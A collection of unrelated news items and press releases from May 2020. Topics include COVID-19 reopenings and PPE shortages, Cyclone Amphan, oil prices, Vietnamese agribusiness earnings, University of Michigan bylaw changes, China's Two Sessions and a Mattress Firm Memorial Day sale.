Kaul said he feels grateful that people had showered him so much love when he was in his prime and doesnt have any regrets now. Its ok if theyve forgotten me. I got so much of love and Im grateful. I will forever be indebted to the audience for that. Right now, I wish I am able to buy a decent place of my own where I can stay. The fire to act is still alive in me. It isnt over. I wish someone gives me a role even today, any role, and I would do it. Im raring to act again, he added.

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One month later, the party signaled it was taking a harder line when it replaced its top representative in Hong Kong with a senior official with a record of working closely with security services. Whereas the party had until recently left the handling of the crisis to the citys chief executive, Carrie Lam, Beijing is now weighing in more directly with warnings not to test its patience.
By Online Desk

Beginning Monday, the Kempegowda International Airport will start buzzing with activity after a lull of two months. A total of 215 flights on an average will arrive or depart from here daily from May 25 to June 30. In every 10 minutes, there will be a flight taking off from the airport.

Airport operator, Bangalore International Airport Limited, officially announced that flights will resume operations from May 25.

Meanwhile, the nationwide tally of COVID-19 cases neared 1.3 lakh on Saturday with over 6,000 new cases getting detected.

More than one lakh people have tested positive for the deadly virus infection and over 3,000 have lost their lives in the past one month itself.
(GETTY)

Bank of Canada Governor Stephen Poloz sees the beginning of better times for oil following the unprecedented collapse brought on by COVID-19 and a destructive price war between Saudi Arabia and Russia.

Were seeing glimmers that some of the pricing is being restored, Poloz told reporters on Thursday. I think the important thing is the fundamentals are very closely related to human activity. We can see already in the short-term data signs that driving is picking up.

Speaking at his final press conference as governor, Poloz said the impact of the recent oil price shock on Canadas economy has been similar to the crash in late 2014 and early 2015. Thats notwithstanding the two shocks at the same scenario brought on by the viral pandemic eliminating demand.

Polozs remarks follow the release of a report from the International Energy Agency (IEA) on Thursday pointing to global signs of recovery. In its monthly oil market report, the Paris-based agency said its outlook has improved slightly from Black April, when West Texas Intermediate (CL=F) prices turned negative for the first time.

Since then, the outlook has improved somewhat and prices, while still far below where they were before the start of the COVID-19 crisis, have rebounded from their April lows, the IEA said in the report. The agency said a resurgence of COVID-19 cases remains a major risk for demand.

The IEA credited steep production declines in non-OPEC countries, led by Canada and the United States, for helping drive prices higher, alongside commitments made by the OPEC+ members.

Scores of Canadian energy firms have reduced production in response to weak prices.

Poloz also pointed to the 700,000 barrel inventory decline reported by the U.S. Energy Information Administration on Wednesday for the week ended May 8 as another reason for optimism.

I think the system is starting to pick up, he said.

Jeff Lagerquist is a senior reporter at Yahoo Finance Canada. Follow him on Twitter @jefflagerquist.

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Agribusinesses rocked by twin negative impacts, photo Shutterstock

One of several agricultural enterprises gaining good results in the first quarter, Nafoods, one of Vietnams largest fruit and vegetable exporters and processors, has reported overall growth against last year. The groups financial statement also showed that after-tax profit tripled over year to reach VND16.2 billion ($704,000).

This is thanks to our proactive market, materials, and financial strategy. We have focused on nutrition, health, and developing the agricultural chain, Nguyen Manh Hung, general director of Nafoods, told VIR. By the end of March, our signed contracts reached 60 per cent of this years turnover target.

Hung added that Nafoods plans to reach VND1.35 trillion ($58.7 million) of revenue in 2020. However, with our current orders and production capacity, we can gain VND2 trillion ($87 million) if we successfully arrange capital of VND200 billion ($8.7 million) from banks and financial institutions, he said.

Another winner is Lam Son Sugar JSC. The corporations financial report states that its after-tax profit in the first quarter of the year reached VND4.6 billion ($200,000), up 65 per cent on-year thanks to a 77 per cent increase in both revenue and capital costs, a 50 per cent increase of revenue from financial activities, and a 18 per cent decrease of sales costs.

However, many local agricultural businesses suffered losses. For example, PAN Group reported a 20 per cent drop in net revenue in the quarter, to VND1.28 trillion ($55.8 million) while consolidated after-tax profit was VND28.7 billion ($1.25 million), 40 per cent of the figure from 2019.

The seed and confectionery segments suffered the biggest decline, with sales down 35 and 30 per cent, respectively, mainly due to the impact of the pandemic on travelling, sales, and marketing, the groups press release said.

While the first quarter is normally a busy time for corn trading, exports to major markets including Laos, Cambodia, and China were disrupted by border closures to control the outbreak. This left vast amounts of corn unexported.

The production and business activities of the group were impacted by the pandemic but not disrupted because of its strong self-supply ability thanks to the closed value chain, read the press release.

Similarly, Southern Seed Corporation (SSC) has also been suffering from the prolonged droughts and widespread saline intrusion, as well as disrupted transportation due to the pandemic, which have reduced gross profit.

SSCs revenue was VND138 billion ($6 million), up 5.3 per cent on-year. However, sales expenses accounted for 91 per cent of net revenue, increasing sharply against the 66 per cent in 2019, while gross profit was only VND12.4 billion ($539,000), down 72.4 per cent on-year.SSC said that its after-tax profit dropped 84 per cent on-year after wide-scale restructuring of its business.

Another case is the countrys leading distributor and manufacturer of agricultural chemicals and pesticide Loc Troi Group, which suffered a net loss of VND37 billion ($1.6 million) while last year it gained a net profit of VND58 billion ($2.5 million).

According to a representative, the groups net revenue in this period decreased by 53 per cent on-year, mostly due to decreasing revenue from pesticide and food because of the coronavirus, climate change, changes in agent structure, and sales policy for the drug industry, and the governments steering policies related to rice exports.

The representative said there were remarkable changes in the agricultural sector in the first quarter. First, the total revenue of the sector plummeted. This is the result of exports being interrupted by COVID-19 and the Vietnamese government suspending rice exports from March 24 to ensure domestic food security, he said.

The second change was stagnant supply chains and sharply falling sales of plant pesticide, while the third was the low level of reinvestment in seeds.

The decrease in agricultural exports has resulted in lower incomes for farmers and a decrease in financial capacity to invest in the next crops. Besides this, the consumption of agricultural products is still gloomy and unpredictable, affecting farmers enthusiasm, the Loc Troi representative added.

The weather in early 2020 was also unfavourable, with hails and storms in the northern midlands and mountains, severe droughts in the Central Highlands region, and critical drought and saline intrusion in the Mekong Delta region.

Data from the first quarter by the General Statistics Office showed that due to the pandemic and extreme weather, the agricultural sector witnessed negative growth of 1.17 per cent on-year in the first four months.

The Ministry of Agriculture and Rural Development, estimated the total import-export turnover of agricultural, forestry, and aquatic products in the first four months of this year at $21.1 billion, with trade surplus down 4.1 per cent, at nearly $2.8 billion.

By the end of April, the export value of the main agricultural, fisheries, and husbandry products was nearly $5.8 billion, $2.2 billion, and $150 million, down 4.5, 10, and 23.8 per cent on-year, respectively. Forestry products alone reached $3.4 billion, up 3.9 per cent.
22 opposition parties resolve to call upon Centre to provide urgent help in view of Cyclone Amphan

Nepal expresses grief over loss of lives in West Bengal due to Cyclone Amphan

My prayers, thoughts and love to those affected by Amphan: Shah Rukh Khan

PM Modi announces ex-gratia of 2 lakh to next of kin of deceased in Odisha

PM Modi said Odisha has made a good name for itself in rescue, relief nd restoration measure: Odisha Chief Secretary

Cyclone Amphan, which hit Indias eastern coast yesterday with winds gusting up to 185 kmph has affected 4.5 million people across 1,500 villages of Odisha. Prime Minister Narendra Modi and West Bengal chief minister Mamata Banerjee conducted aerial survey of the areas that have suffered the wrath of the cyclone. Banerjee said that so far 80 people have lost their lives due to the cyclonic storm in the state. While Odisha government said that no death has occurred so far due to the storm. Bangladesh has recorded 22 deaths and many have been left displaced in the country's coastal areas. The Prime Minister also went to Odisha after leaving from West Bengal and carried out an aerial survey of the areas affected in the state. Cyclone Amphan is the most powerful cyclone to strike eastern India and Bangladesh in over a decade.

Here are the latest updates on Cyclone Amphan
Indonesia has seen a surge in coronavirus infections ahead of this this weekend's celebrations marking the end of Ramadan, raising questions about the commitment to the virus fight from both the government and the public.

Indonesia has the most COVID-19 fatalities in Southeast Asia at more than 1,300 and on Thursday reported its highest one day count of new infections with 973.

The country has reported nearly 21,000 infections, though actual numbers are thought to be far higher.

Health officials have blamed the surge in cases in the world's fourth most populous nation on the public not taking proper precautions.

This illustrates people's discipline in obeying health protocols in fighting the outbreak, said Achmad Yurianto, the national COVID-19 task force spokesman.

But politicians have also resisted the guidelines. So far, only four of Indonesia's 34 provinces and 26 cities have applied large-scale social restriction, all with low levels of public compliance.

Popular markets such as Tanah Abang in the capital, Jakarta, were teeming with shoppers buying new children's clothes ahead of Eid-al Fitr, which marks the end of the Islamic holy month of Ramadan.

Security personnel were overwhelmed by thousands of shoppers and traders who ignored health protocols and physical distancing.

I'm here for my kids. They will be ashamed if their friends wear new clothes during Eid while they don't," said Ida Farida, a mother of three.

Of course I'm worried, she said when asked about possibly contracting the virus. But I leave it to God.

President Joko Widodo has said he will not yet ease large-scale social restrictions and insisted his government is aiming to keep citizens productive and safe.

We must coexist with COVID-19, Widodo said in a video statement last week.

Living in peace with it does not mean we are giving up, but that we are adapting and this requiring strict health protocols.

His remarks came days after the Central Statistics Agency announced Indonesia's economy grew just 2.9 per cent in January-March, the slowest growth in almost two decades, as the pandemic made its effects felt in exports, investment and consumption in Southeast Asia's largest economy.

Widodo's administration has taken early steps toward loosening virus restrictions by allowing public transportation to resume, including airlines, at 50% of their capacity.

Yet on the first day public transport resumed, images circulated on social media of Jakarta's main airport packed with thousands of passengers ignoring physical-distancing protocols.

Health experts have warned that the fight against COVID-19 is far from over, emphasizing that the country's limited testing capabilities have made it harder to get an accurate picture of the true extent of the pandemic.

The government, nevertheless, has insisted the country must be ready to get back to normal by the end of July.

The government has set up a team to gauge which cities should ease restrictions amid growing economic pressures.

The reopening plan, which is still under development, aims to have shopping malls resume limited operations on June 8. That will be followed by reopening schools with staggered schedules.

As widely circulated draft of the plan said restaurants, bars, cafes and gyms would be allowed to start opening on July 6, with tight health protocols in place, followed by lifting restrictions on travel and public worship.

Doni Monardo, the COVID-19 task force chief, stressed that the plan was contingent on meeting public health metrics first, including a flattening of the number of new infections in an area.

Pandu Riono, an epidemiologist from the University of Indonesia, warned that reopening the economy prematurely could trigger a second wave of infections.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
[May 22, 2020] Baylor Scott & White Health Receives $100,000 from Reliant to Support Remote Monitoring of COVID-Positive Patients

Baylor Scott & White Health announced today a $100,000 donation from Reliant in support of its MyBSWHealth mobile app. Launched in 2018, the MyBSWHealth app has emerged as a leading digital tool in Texas in the fight against COVID-19, providing nearly 175,000 digital screenings and more than 45,000 eVisits related to the virus. This process has allowed tens of thousands of Texans with mild symptoms to be evaluated outside of Baylor Scott & White clinics and emergency departments-further ensuring that hospitals are ready for those who need care most during this time. "As the Centers for Disease Control and Prevention points out, the vast majority of people diagnosed with COVID-19 have mild illness and are able to recover at home," said Aasim Saeed, MD, vice president, Digital Health at Baylor Scott & White. "MyBSWHealth allows us to significantly extend our ability to treat and triumph over this virus by extending care and monitoring for patients while they are isolating at home." The donation is a part of Reliant's continued COVID-19 support across the state of Texas and parent company, NRG Energy, Inc.'s, $2 million donation to pandemic relief efforts. In addition, Reliant is working with customers across Texas to ensure they have the power they need, regardless of hardships endured from this crisis, with payment plans and additional relief. Visit reliant.com/care for more information. "The well-being of our customers and the communities we serve is at the heart of everything we do," said Elizabeth Killinger, president, Reliant. "We're honored to help light the way and provde much-needed support for frontline workers-like those at Baylor Scott & White Health-as they care for our fellow Texans."



Digital Care Options for Texans MyBSWHealth is a single digital front door to Baylor Scott & White, enabling the health system to provide safe, reliable and convenient care to anyone in the state. The MyBSWHealth app and online portal provide patients digital access to appointment scheduling, virtual visits and digital care journeys. Patients can communicate directly with their care teams and manage their prescriptions with the Baylor Scott & White Pharmacy. More than 1.4 million patients currently have a MyBSWHealth account and 500,000 of those are active users.

"Through MyBSWHealth, we are able to offer digital care options to anyone in Texas," said Saeed. "Thanks to this generous contribution from Reliant, we are able to expand our capabilities and help our communities navigate the uncertainty of this virus." Baylor Scott & White's integrated 'Digital Care Journey' for COVID-19 positive patients is available within its MyBSWHealth app and includes support for those treating at home: Detailed quarantine instructions;

Twice daily symptom checking; and

Dedicated care management. Reliant worked with Baylor Scott & White Irving Foundation through the donation process. The Irving foundation is one of four fundraising offices throughout Texas that support Baylor Scott & White. Other locations are in Dallas, Fort Worth and Central Texas. Last year, Baylor Scott & White Foundations raised more than $57 million in support of Texas' largest not-for-profit health system. About Baylor Scott & White Health As the largest not-for-profit health system in the state of Texas, Baylor Scott & White Health promotes the health and well-being of every individual, family and community it serves. An integrated care delivery network, the system includes the Scott and White Health Plan, Baylor Scott & White Research Institute and Baylor Scott & White Quality Alliance. Through 52 hospitals and more than 1,100 access points including flagship academic medical centers in Dallas and Temple, the system offers the full continuum of care, from primary to award-winning specialty care, throughout Texas, and via virtual touchpoints. Founded as a Christian ministry of healing, Baylor Scott & White is proud to honor its century-long legacy through its commitment to improving accessibility, affordability and the customer experience for all. For more information, visit BSWHealth.com. About Reliant Reliant powers, protects and simplifies life by bringing electricity, security and related services to homes and businesses across Texas. Serving customers and the community is at the core of what we do, and the company is recognized nationally for outstanding customer experience. Reliant is part of NRG, a Fortune 500 company that creates value by generating electricity and providing energy solutions to more than 3.7 million residential, small business and commercial customers across the U.S. and Canada. NRG's competitive residential electricity business, which includes Reliant, is one of the largest in the country. For more information about Reliant, visit reliant.com and connect with Reliant on Facebook at facebook.com/reliantenergy and Twitter (News - Alert) or Instagram @reliantenergy. PUCT Certificate #10007. View source version on businesswire.com: https://www.businesswire.com/news/home/20200522005446/en/

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ANN ARBOR, MI  A recommendation for changes to two University of Michigan Board of Regents bylaws regarding procedures for dismissal, demotion or terminal appointment, as well as severance pay, were approved by the regents at their meeting on Thursday.

A press release from UM said the policies that govern the dismissal for tenured faculty now include a shorter, more streamlined process, and it will allow for the elimination of severance pay when a faculty member is terminated for cause involving moral turpitude or scholarly or professional misconduct.

The new bylaws largely align with recommendations made by a nine-member faculty working group in February, the regents said at the meeting.

Amendments to the policies include:

New language explicitly describing the universitys dedication to protecting academic freedom.

A single, streamlined process to replace the current two processes for cases that are either referred to the Senate Advisory Committee on University Affairs or to the executive authority of the affected school or college. Under ordinary circumstances, the proposed revisions would yield a definitive recommendation to the Board of Regents within 86 calendar days, or within 119 days in cases with appeals.

A process to suspend a faculty members pay during the proceeding for extreme cases in which the faculty member has either been relieved of duties and charged with or convicted of a felony involving violence, or has abandoned their job.

A Hearing Committee consisting of five tenured faculty members at or above the rank of the affected faculty member.

The creation of a SACUA Standing Judicial Committee, whose members stand ready to be appointed to the Hearing Committee by SACUA along with faculty nominated by the affected faculty members unit.

A discovery period before the hearing begins during which the university and the affected faculty member share all evidence to be used at the hearing.

A single, optional review completed by SACUA within 21 days of appeal.

The regents voted unanimously at the boards March 26 meeting to remove David Daniels from his tenured position in the School of Music, Theatre and Drama under bylaw 5.09. Daniels was not eligible for severance pay under bylaw 5.10. The process to terminate Daniels started in 2019 before the recommended changes to the bylaws were brought forward.

The situation with Daniels certainly was a factor at the time the working group was formed in October 2019, UM spokesperson Rick Fitzgerald previously said. The changes have been under consideration for some time, even before the working group was formed, Fitzgerald said.

Daniels was accused of numerous instances of sexual harassment and is facing trial for rape in Texas.

UM fires David Daniels, tenured opera professor accused of sexual misconduct

At the March 26 meeting, regent Ron Weiser said it was the first time in 60 years that a faculty members tenure has been revoked.

At the heart of every decision of the board is the safety and well being of our students, Weiser said. ... When the board sees this jeopardized by a tenured member of the faculty, we believe its necessary to take extreme action or dismissal.

The situation with Daniels certainly was a factor at the time the working group was formed in October 2019, Fitzgerald said. The changes have been under consideration for some time, even before the working group was formed, Fitzgerald said.

The regents also approved the 2022-23 academic calendar. According to the action request, the 2022-23 fall semester will begin on Aug. 29, and includes a fall break from Oct. 17-18. There will be no classes the day before Thanksgiving, and classes will end on Dec. 9 with final exams ending on Dec. 19.

The winter term will begin on Jan. 4, 2023. Spring break will begin on Feb. 25 and classes will resume on March 6.

Both terms have 69 class days.
More than two months into the COVID-19 pandemic, county officials and health care providers across the Bay Area are still facing bewildering roadblocks in their efforts to procure sufficient supplies of personal protective equipment, or PPE.

Accessing steady streams of vast amounts of medical gowns, gloves, masks and disinfectant has presented unprecedented logistical challenges that officials are only now starting to smooth out, thanks largely to their ability to buy from reliable suppliers  a process that took considerable time to figure out.

About the time the Bay Area shelter-in-place started in mid-March, everyone out there, whether its a fire department or a board-and-care home, they werent getting what they needed, said Jim Morrissey, a tactical medical program director whos helping coordinate the procurement of PPE for Alameda Countys Emergency Operations Center.

Particularly in the early weeks of the pandemics local spread, when counties and health care providers were scrambling to stock enough equipment to stay ahead of a projected surge in COVID-19 cases, there were pitfalls everywhere.

Middlemen and profiteers squirmed in between links in the global supply chain, selling fictional caches of equipment. Chinese officials abruptly tightened customs inspections for medical gowns, creating choke points that slowed shipment times. Pallets of equipment would arrive only to be rejected because they didnt meet medical standards.

Weve had countless, countless occurrences of trying to navigate around what could be lemons, said Josh Sullivan, a logistics chief for Contra Costa Countys health department. Weve had orders we placed on March 2 (and the shipment was) bumped to as late as May 20. Weve been playing a lot of whack-a-mole.

The problems caused by those supply-chain snags carry serious consequences in the regions efforts to shift slowly back to a reopening of the economy and a more normal way of life. One of the central questions guiding Bay Area public health officials decisions about reopening is whether all acute care hospitals, outpatient clinics, nursing homes and medical first-responders have a 30-day supply of PPE on hand.

Jessica Christian / The Chronicle

The fragmented response to the pandemic and PPE procurement  caused in part by a lack of direction from the federal government, some officials complain  make it difficult to know how close the region is toward that goal.

But those in charge of buying up PPE say theyre making headway, thanks in large part to the painstaking vetting of vendors and suppliers they were forced to do over the past two months.

Weve gotten to a much better place with the vetting process, said San Francisco City Administrator Naomi Kelly. That has helped us to avoid the pitfalls  the bad actors out there, selling products they dont have, and the price gouging.

In general, counties are acting as PPE backstops for health care providers, doling out equipment when hospitals  public and private  run short. The equipment is also needed for government workers, like firefighters, paramedics and bus drivers, whose jobs put them at risk of infection.

Morrissey said Alameda County has about a 90-day supply on hand to meet current levels of demand. Kelly said San Francisco also has a three-month supply in most PPE categories.

Lea Suzuki / The Chronicle

Accessing reliable sources of PPE has also helped keep costs down, Kelly said. Ordering equipment in regular cadences allows them to be shipped at lower expense on cargo ships, rather than flying in an emergency order, which costs more.

Contra Costa officials were still setting up their data and reporting systems and could not immediately estimate their supplies. San Mateo County officials would not answer specific questions about their PPE supplies, and officials in Santa Clara County did not respond to multiple interview requests. Officials in Marin could not make anyone available for an interview.

Drought Map Track water shortages and restrictions across Bay Area Check the water shortage status of your area, plus see reservoir levels and a list of restrictions for the Bay Areas largest water districts.

For health care providers, the picture is more opaque. While the region may have so far staved off an overwhelming surge in cases, health care workers are still pleading with their hospitals for adequate PPE supplies. Shortages last month forced some nurses in Oakland to cut holes in trash bags in an attempt to fashion makeshift gowns in the absence of medical-grade ones.

Zenei Cortez, a nurse at Kaiser Permanente in South San Francisco, said things have not improved much since then. Nurses there have been forced to reuse N95 respirator masks and hospital gowns, which are meant to be single-use and disposable. The masks, she said, are decontaminated by a chemical process thats left some nurses complaining of nasal irritation and headaches. Some nurses have resorted to purchasing masks on their own, sometimes at steep costs given the high demand for PPE.

We need to start protecting ourselves and our patients by having the optimum PPE, said Cortez, who is also the president of both the California Nurses Association and National Nurses United. The people making these decisions are not out there on the front lines, she said.

California Nurses Association/National Nurses United released results from a survey on Thursday showing that of 3,800 nurses queried, 88% reported having to reuse a single-use disposable respirator or mask with a COVID-19 patient.

Kaiser officials declined to answer specific questions about their PPE supplies. In an email, Michelle Gaskill-Hames, senior vice president of Health Plan and Hospital Operations for Kaiser Permanente Northern California, said the hospitals top priority continues to be the safety of our patients and staff. We have adequate supplies to make sure we provide our staff with the right level of protective equipment they need to deliver care safely, aligned with the latest science and guidance from public health authorities. We are prudently managing our resources to ensure this equipment is available for our health care workforce for the duration of this pandemic.

Sutter Health, another large Bay Area health care system, also declined to answer specific questions about their PPE supplies. A spokeswoman sent an email saying: We continue to closely manage our supply of PPE and work round the clock to secure additional PPE, so we can meet critical community need while maintaining patient and frontline staff safety. PPE is a significant concern still acutely felt by health care organizations across the nation, including us, and we are doing everything we can to secure additional supplies.

According to our employer, they need to be mindful of our stockpiles  we dont want to run out  thats what theyre saying. Whats the use of having stockpiles if all our nurses are dead? Cortez said.

Dominic Fracassa is a San Francisco Chronicle staff writer. Email: dfracassa@sfchronicle.com Twitter: @dominicfracassa
An employee checks the temperature of another employee on arrival to work as PSA Peugeot re-opens after shutting down last month due to the coronavirus disease (COVID-19) outbreak in Trnava

BRATISLAVA (Reuters) - The Slovak government approved legislation on Thursday that will allow people returning from abroad to self-isolate at home so long as they use a mobile app that will check on them, rather than be forced into quarantine in state-run facilities.

The compulsory quarantine, one of a series of measures taken by Slovakia to curb the spread of the coronavirus, has been criticized by Slovaks living abroad as well as by the state ombudswoman, who has said it potentially breaches basic human rights.

Health Minister Marek Krajci said the launch of the application allowing a "smart" quarantine could be launched next Monday after it is approved by parliament.

"This smart solution will allow returnees to self-isolate at home if they agree to install the application after crossing the border," he said.

Details on how the app will work are expected to be announced on Monday but one of the options is that it would use face-identification technology.

Prime Minister Igor Matovic had defended the quarantine's role in helping detect infections and prevent the coronavirus's spread. Official figures show people who are or were at the state-run centres account for almost 13% of the 1,477 positive cases confirmed in the country.

Slovakia, a European Union member state of 5.5 million, has recorded 27 deaths. Like other European countries it is gradually easing its lockdown measures.

The quarantine system has affected mostly Slovaks returning home, since foreigners are barred from entry, unless they have a right to stay.

The government has also approved a phone app tracking contacts of infected people.

It is not clear when that app will be launched, however, as the Constitutional Court on Wednesday suspended parts of the existing law allowing state authorities to access data collected by telecommunications operators, saying some of its clauses were insufficiently clear.

(Reporting by Tomas Mrva; Editing by Frances Kerry)
News has been going around claiming that there is a parallel universe much like our own, as CNet stated. New Scientist and IGN Southeast Asia created articles that suggest a parallel universe that goes backwards in time. These articles talked about an experiment conducted by NASA discovered particles that do not follow the law of physics.

ANITA: In The Cold Air

Another news website has stated that scientists did, in fact, discover real evidence of a parallel universe. The article talked about NASA's ANITA experiment. NASA put together an antenna called Antarctic Impulsive Transient Antenna (or ANITA) and positioned it above Antarctica.

ANITA was first launched in 2014. The antenna was used in observing weather conditions in Antarctica. The reason for NASA's choice of positioning ANITA above Antarctica is because of the frigid cold temperature there.

The atmosphere in Antarctica is crisp and dry because of the cold. The environment created by the cold temperature allows radio connections to function smoothly. The experiment on the parallel universe issue by NASA was conducted in Antarctica back in 2016.

ANITA was attached to a balloon that was designed to hold no pressure to be able to fly into the exosphere of Antarctica. ANITA flew up to an altitude of 123,000 feet above the surface of Antarctica. However, the experiment observed particles that challenged the laws of physics.

According to CNet, the particles discovered do not have any harmful effects on humans. It's only a rare occurrence for these particles to interact with anything that contains matter. However, if they do collide with an atom, secondary particles will burst out from them. This allows us to investigate where these particles are from in this universe.

These particles, as seen by ANITA, were coming in from space and making contact with the Antarctica ice floors. The head investigator of the ANITA experiment, Peter Gorham, who specializes in experimental particle physics, stated that the particles are of the neutrino subatomic particle.

The particles observed in the ANITA experiment could only have behaved in that way if there was a change in the structure of the particle before it entered Earth and went out again.

Read Also: British Company Skyrora Brings UK's First Rocket Test in 50 Years to a Success: Official Launch Set in 2021

Theory of Parallel Universes

CNet stated that the internet had made headlines on the topic of the possible existence of parallel universes. A lot of these articles do not fully explain the details on parallel universes. It also mentioned that the New Scientist article was a paywall. The article lacked details on the experiment and the claim on parallel universes existing.

Because of this, the idea of the existence of parallel universes is now at a standstill. According to the article by CNet, NASA has not gathered enough evidence on the existence of parallel universes, This, in turn, shows that no one can prove the existence of parallel universes

Right now, the idea of parallel universes can only be a theory. The theory of parallel universes can always be studied in great lengths as scientists and NASA continue to find true evidence that proves this theory.

Read Also: Astronomers Discover that Stars Produce Sounds Similar to a Human Heartbeat
As the BJP protested failure of



the Uddhav Thackeray government in containing the novel coronavirus spread, the ruling NCP on Friday asked the opposition party whether it is insulting COVID-19 warriors and committing "treason" with Maharashtra.

NCP leaders used the hashtag MaharashtradrohiBJP (Maharashtra treacherous BJP) to hit out at the opposition party, which has been critical of the Shiv Sena-led government over its handling of the coronavirus crisis in the state, which has so far recorded 41,642 cases.

The Maharashtra BJP has asked its workers to hold black placards and wear masks of the same colour while registeringtheir protest on Friday without violating social distancing norms.

Think once before holding black (placards) in hand, whether you are insulting doctors, policemen and health workers who are working round the clock for Maharashtra! Whether you are committing treason with Maharashtra?, Maharashtra Minister and state NCP chief Jayant Patil tweeted.

Maharashtra Housing Minister and NCP leader Jitendra Awhad, too, attacked the BJP for playing dirty when the ruling Maha Vikas Aghadi (MVA) is battling COVID-19 with full vigour.

He charged the BJP with creating confusion among the people while the coronavirus is being combated.

People will never accept the BJPs dirty Rather they will condemn it and teach a lesson to the BJP! Awhad said on the micro-blogging site using the hashtag as Patil.

Without naming the BJP, Social Justice Minister Dhananjay Munde accused it of not being honest with Maharashtra by protesting at a time when the state is tackling the disease valiantly.

Maharashtra will never forget the treachery committed with its soil, he said on Twitter.

The Sharad Pawar-led NCP is a key constituent in the Sena-headed government in the state.

Indecisiveness and strategic errors of the Maharashtra government have aggravated the COVID-19 crisis in the state, BJP leader Devendra Fadnavis said on Thursday and accused Chief Minister Uddhav Thackeray of over dependence on bureaucracy as he is "scared" of taking initiatives.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Chinas long-awaited Two Sessions, which was delayed due to COVID-19 for over two months, drew its curtain in Beijing on Thursday. Amid the COVID-19 pandemic, this years Two Sessions has attracted foreign politicians attention, with Naghmana Alamgir Hashmi, Pakistani ambassador to China, stressing that the political meeting would further promote the prosperity and development of China and bring the nation a step closer to achieving its Two Centenary Goals.

This years Two Sessions are even more important as they are being held at a critical juncture when the international community is grappling with the COVID-19 pandemic with the risk of impending global recession looming large, said Hashmi.

The ambassador noted that the upcoming sessions would deliberate upon an array of issues, with implications not only for China but for the world at large. Since Chinas economy is greatly integrated and enmeshed with the global economy, the plan for Chinas economic and social development for 2020 to be reviewed in upcoming National Peoples Congress session would be of great interest, both for local and international observers.

Naghmana Alamgir Hashmi, Pakistani ambassador to China

In the wake of the ongoing COVID-19 pandemic, it is also expected that Two Sessions would deliberate on the measures to improve healthcare and emergency response systems, including refining the existing laws for prevention of infectious diseases, said Hashmi.

The ambassador also expressed her interest in the discussion on Chinas draft civil code during the Two Sessions, which is the most extensive legislation covering various aspects of private life.

The draft civil code is the most extensive legislation covering various aspects of private life. Its various provisions, in fact, are the product of necessities of current times and, if passed, would constitute a major milestone in the constitutional history of China, said the ambassador.

According to the ambassador, 2020 is significant as China is poised to achieve the important goals for building a moderately prosperous society in all respects and putting an end to extreme poverty, with Chinas success bringing more experience to developing nations like Pakistan.

The Chinese model and subsequent success in poverty alleviation is worth emulation for developing countries like Pakistan, which are striving for national development and socio-economic progress. It has inspired us with a new hope that poverty is not ordained in mans destiny and can be uprooted by dispassionate, concerted and sustainable efforts. Pakistan has taken a leaf out of Chinese experience and initiated its scheme for poverty alleviation suited to local conditions, she said.

The rapid progress and prosperity of China is not only a reflection of the vision and acumen of Chinese leadership but also a tribute to the toil and labor of Chinese people. I am confident that China would continue its march of development and prosperity and would further contribute to global economic, ecological and social development, she added.

Chinas important role in tackling a global pandemic

The ambassador also acknowledged Chinas efforts in tackling the COVID-19 sweeping the world, noting that China is the first country hit by the virus and have since comprehensively controlled and curbed the epidemic.

Soon after the outbreak, the Chinese government took immediate and effective steps to contain the viral outbreak to ensure the health and well-being of its citizens. The effectiveness of these measures is proven undoubtedly by the glorious success of the Chinese nation in peoples war against this epidemic. While this is a source of inspiration for other countries who are still grappling with the pandemic, it is also a poignant reminder of capacity and wherewithal of the Chinese system to surmount such challenges with characteristic dignity and firm resolve, she said.

On the international front, China displayed openness, transparency and willingness to cooperate with all parties to confront the novel coronavirus outbreak. These efforts are indicative of the importance it places, as a responsible major power, on matters of global concern and international cooperation, she further noted.

The ambassador stressed that Pakistan wholeheartedly appreciates Chinese measures and would extend her complete support and assistance in this regard.

COVID-19 pandemic is the most serious challenge the global community has been confronted with in the last 70 years. The current situation calls for a greater international coordination and cooperation among the global community for curbing and comprehensively eliminating this menace. said the ambassador.
HOUSTON, May 22, 2020 /PRNewswire/ -- Mattress Firm is bringing back its most popular offer -- just in time for Memorial Day. Shoppers can upgrade their beds and complete their sleep environment with the best mattress deals of the year for a limited time.

Through May 26, Mattress Firm is dropping the price on king mattresses to the price of a queen and queen mattresses to the price of a twin, on the best mattress brands. Plus, shoppers can complete their sleep environment and combine this deal to receive a free adjustable base with any mattress purchase of $699 or more. When it comes to the best beds and best value, this sale is the perfect time to upgrade.

Hurry in to shop Mattress Firm's Memorial Day Sale (through May 26) and save big on better sleep:

Shop several of America's best-selling mattress brands (including Beautyrest, Serta and Sleepy's) for up to $500 in savings  plus 0% APR financing for 5 years*.

in savings  plus 0% APR financing for 5 years*. Upgrade to a king mattress for the price of a queen.



Upgrade to a queen mattress for the price of a twin.

PLUS, a free adjustable base** (while supplies last) with any mattress purchase of $699 or more

or more Hot Buys:

50% off Serta Perfect Sleeper *** (was $599.99 )

*** (was )

50% off Sealy Maplewood (was $499.99 )

(was )

50% off Sleepy's Memory Foam

Purple Bundle: up to $400 of Mattresses and Bundles**** (through 6/1)

of Mattresses and Bundles**** (through 6/1) $100 off Purple Mattress ( $50 off Twin and TXL)

off Purple Mattress ( off Twin and TXL)

$150 off Hybrid

off Hybrid

$200 off Hybrid Premier

off Hybrid Premier

$200 off bundle (2 pillows, 1 sheets, 1 mattress protector)

These amazing deals are only available for a limited time and supplies won't last long! Shoppers can get guidance from Mattress Firm's sleep experts anytime by visiting a store, or by phone, text or chat. Rest assured, Mattress Firm makes it easy to shop safely and confidently. Learn more about the company's enhanced safety measures in-store and during delivery. For more on how to get the best mattress at the best price, visit http://www.mattressfirm.com/sale.

*Financing:

